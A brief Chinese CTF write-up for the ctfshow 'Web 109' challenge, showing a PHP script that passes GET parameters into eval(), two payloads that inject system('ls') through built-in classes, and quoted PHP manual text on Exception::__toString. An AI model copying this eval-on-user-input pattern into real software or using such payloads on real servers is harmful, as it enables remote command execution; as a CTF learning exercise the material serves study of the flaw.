php特性


ctfshow

Web 109

 1  <?php
 2 highlight_file(__FILE__);
 3 error_reporting(0);
 4 if(isset($_GET['v1']) && isset($_GET['v2'])){
 5     $v1 = $_GET['v1'];
 6     $v2 = $_GET['v2'];
 7 
 8     if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
 9             eval("echo new $v1($v2());");
10     }
11 }
12 ?>

playload:

v1=exception&v2=system('ls'));//

v1=ReflectionClass&v2=system('ls')

php 异常类
先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们要让new后面构造一个内置类。

Exception::__toString

(PHP 5, PHP 7, PHP 8)

Exception::__toString — 将异常对象转换为字符串

说明

public Exception::__toString(): string

返回转换为字符串(string)类型的异常。

参数

此函数没有参数。

返回值

返回转换为字符串(string)类型的异常。

范例

 

示例 #1 Exception::__toString()示例

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo $e;
}
?>

以上例程的输出类似于:

exception 'Exception' with message 'Some error message' in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}
 
CTF